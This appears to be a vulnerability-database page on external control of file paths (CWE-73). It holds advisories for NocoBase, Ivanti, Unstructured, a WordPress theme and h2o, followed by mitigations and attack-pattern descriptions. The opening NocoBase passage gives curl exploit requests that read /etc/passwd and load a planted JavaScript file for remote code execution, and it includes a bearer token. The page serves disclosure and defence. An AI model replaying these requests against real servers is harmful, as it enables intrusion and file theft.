\"http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd\" \\\n  -H \"Authorization: Bearer TOKEN\"\n# Response: {\"data\":\"/etc/passwd\"} \u2014 200 OK\n```\nNode.js attempts to parse `/etc/passwd` as a JavaScript module. It fails at the first `:` character with:\n\n\u003cimg width=\"2064\" height=\"530\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6aca1e88-a1c6-466a-8061-a0f3f7fbd4f8\" /\u003e\n\nand we see the error message after sending the request:\n\n\u003cimg width=\"1036\" height=\"380\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b8ddbf38-7de0-47ba-aa56-39ac4f2de400\" /\u003e\n\n**Step 2 navigate to the logger and download the system error log**\n\n\u003cimg width=\"1142\" height=\"720\" alt=\"image\" src=\"https://github.com/user-attachments/assets/84103a14-99a6-4db0-bf86-35d5d09f730d\" /\u003e\n\n\nnow when we extract the .tar file we can see proof of local file inclusion (partial in this response):\n\n\u003cimg width=\"1264\" height=\"268\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8f90ee8b-16d2-4bbf-8308-29ed80330ec8\" /\u003e\n\n## Remote code execution\n\nWith our node js payload sitting at the web root all we must do now is use the local file inclusion in pm:enable to trigger it \n\n```bash\ncurl -s \"http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\"\n```\n\nRetrieve output via NocoBase static file serving\n\n\u003cimg width=\"832\" height=\"214\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ed60982-fc93-48f0-8b34-4bae0412ced2\" /\u003e\n\n\u003cimg width=\"810\" height=\"96\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15241236-2701-4488-a9a9-a504c9505562\" /\u003e",
  "id": "GHSA-ghvf-qf6h-g8x5",
  "modified": "2026-08-20T18:42:21Z",
  "published": "2026-08-20T18:42:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-ghvf-qf6h-g8x5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9628"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9701"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/7c9ffe1427a529d62576b83c35222ba7ef9b8d11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/a89e5a999b608bcb4ec67a845e924af0fb58a7c7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution"
}

GHSA-GJ4J-XH74-GVW8

Vulnerability from github – Published: 2025-02-21 03:31 – Updated: 2025-02-21 03:31
VLAI
Details

External control of a file name in Ivanti Connect Secure before version 22.7R2.4 and Ivanti Policy Secure before version 22.7R1.3 allows a remote authenticated attacker with admin privileges to write arbitrary files.

Severity
9.1 (Critical)
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-38657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-21T02:15:28Z",
    "severity": "CRITICAL"
  },
  "details": "External control of a file name in Ivanti Connect Secure before version 22.7R2.4 and Ivanti Policy Secure before version 22.7R1.3 allows a remote authenticated attacker with admin privileges to write arbitrary files.",
  "id": "GHSA-gj4j-xh74-gvw8",
  "modified": "2025-02-21T03:31:12Z",
  "published": "2025-02-21T03:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38657"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/February-Security-Advisory-Ivanti-Connect-Secure-ICS-Ivanti-Policy-Secure-IPS-and-Ivanti-Secure-Access-Client-ISAC-Multiple-CVEs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GM8Q-M8MV-JJ5M

Vulnerability from github – Published: 2026-02-03 17:43 – Updated: 2026-02-04 19:53
VLAI
Summary
Unstructured has Path Traversal via Malicious MSG Attachment that Allows Arbitrary File Write
Details

A Path Traversal vulnerability in the partition_msg function allows an attacker to write or overwrite arbitrary files on the filesystem when processing malicious MSG files with attachments.

## Impact An attacker can craft a malicious .msg file with attachment filenames containing path traversal sequences (e.g., ../../../etc/cron.d/malicious). When processed with process_attachments=True, the library writes the attachment to an attacker-controlled path, potentially leading to:

  • Arbitrary file overwrite
  • Remote code execution (via overwriting configuration files, cron jobs, or Python packages)
  • Data corruption
  • Denial of service

## Affected Functionality The vulnerability affects the MSG file partitioning functionality when process_attachments=True is enabled.

## Vulnerability Details The library does not sanitize attachment filenames in MSG files before using them in file write operations, allowing directory traversal sequences to escape the intended output directory.

## Workarounds Until patched, users can: - Set process_attachments=False when processing untrusted MSG files - Avoid processing MSG files from untrusted sources - Implement additional filename validation before processing

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.18.17"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "unstructured"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.18.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64712"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T17:43:56Z",
    "nvd_published_at": "2026-02-04T18:16:07Z",
    "severity": "CRITICAL"
  },
  "details": "A Path Traversal vulnerability in the `partition_msg` function allows an attacker to write or overwrite arbitrary files on the filesystem when processing malicious MSG files with attachments.\n\n  ## Impact\n  An attacker can craft a malicious .msg file with attachment filenames containing path traversal sequences (e.g.,\n  `../../../etc/cron.d/malicious`). When processed with `process_attachments=True`, the library writes the attachment to an\n  attacker-controlled path, potentially leading to:\n\n  - Arbitrary file overwrite\n  - Remote code execution (via overwriting configuration files, cron jobs, or Python packages)\n  - Data corruption\n  - Denial of service\n\n  ## Affected Functionality\n  The vulnerability affects the MSG file partitioning functionality when `process_attachments=True` is enabled.\n\n  ## Vulnerability Details\n  The library does not sanitize attachment filenames in MSG files before using them in file write operations, allowing directory\n  traversal sequences to escape the intended output directory.\n\n  ## Workarounds\n  Until patched, users can:\n  - Set `process_attachments=False` when processing untrusted MSG files\n  - Avoid processing MSG files from untrusted sources\n  - Implement additional filename validation before processing",
  "id": "GHSA-gm8q-m8mv-jj5m",
  "modified": "2026-02-04T19:53:04Z",
  "published": "2026-02-03T17:43:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-gm8q-m8mv-jj5m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64712"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/commit/b01d35b2373fd087d2e15162b9c021663c97155d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Unstructured-IO/unstructured"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unstructured has Path Traversal via Malicious MSG Attachment that Allows Arbitrary File Write"
}

GHSA-GP34-Q874-5PW2

Vulnerability from github – Published: 2025-09-09 09:31 – Updated: 2025-09-09 09:31
VLAI
Details

The Goza - Nonprofit Charity WordPress Theme theme for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the alone_import_pack_restore_data() function in all versions up to, and including, 3.2.2. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-10134"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T09:15:34Z",
    "severity": "CRITICAL"
  },
  "details": "The Goza - Nonprofit Charity WordPress Theme theme for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the alone_import_pack_restore_data() function in all versions up to, and including, 3.2.2. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).",
  "id": "GHSA-gp34-q874-5pw2",
  "modified": "2025-09-09T09:31:11Z",
  "published": "2025-09-09T09:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10134"
    },
    {
      "type": "WEB",
      "url": "https://themeforest.net/item/goza-nonprofit-charity-wordpress-theme/23781575"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/73efd9ad-9515-4ca8-bfb3-1d478f39c2b9?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GQRQ-J6PM-98C2

Vulnerability from github – Published: 2023-12-14 15:30 – Updated: 2026-04-15 16:08
VLAI
Summary
External Control of File Name or Path in h2oai/h2o-3
Details

Remote unauthenticated attackers can overwrite arbitrary server files with attacker-controllable data. The data that the attacker can control is not entirely arbitrary. h2o writes a CSV/XLS/etc file to disk, so the attacker data is wrapped in quotations and starts with "C1", if they're exporting as CSV.

Severity
9.3 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "h2o"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.46.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-6569"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-15T03:12:43Z",
    "nvd_published_at": "2023-12-14T13:15:55Z",
    "severity": "CRITICAL"
  },
  "details": "Remote unauthenticated attackers can overwrite arbitrary server files with attacker-controllable data. The data that the attacker can control is not entirely arbitrary. h2o writes a CSV/XLS/etc file to disk, so the attacker data is wrapped in quotations and starts with \"C1\", if they\u0027re exporting as CSV.",
  "id": "GHSA-gqrq-j6pm-98c2",
  "modified": "2026-04-15T16:08:45Z",
  "published": "2023-12-14T15:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h2oai/h2o-3/commit/e8884f5187eb81311877c5f0dd4d6d9c70f33d78"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/h2oai/h2o-3"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/a5d003dc-c23e-4c98-8dcf-35ba9252fa3c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "External Control of File Name or Path in h2oai/h2o-3"
}
Mitigation
Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Mitigation
Architecture and Design Operation
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Mitigation
Installation Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Mitigation
Operation Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Mitigation
Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

CAPEC-13: Subverting Environment Variable Values

The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.

CAPEC-267: Leverage Alternate Encoding

An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-72: URL Encoding

This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic

This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.

← Back to the CWE list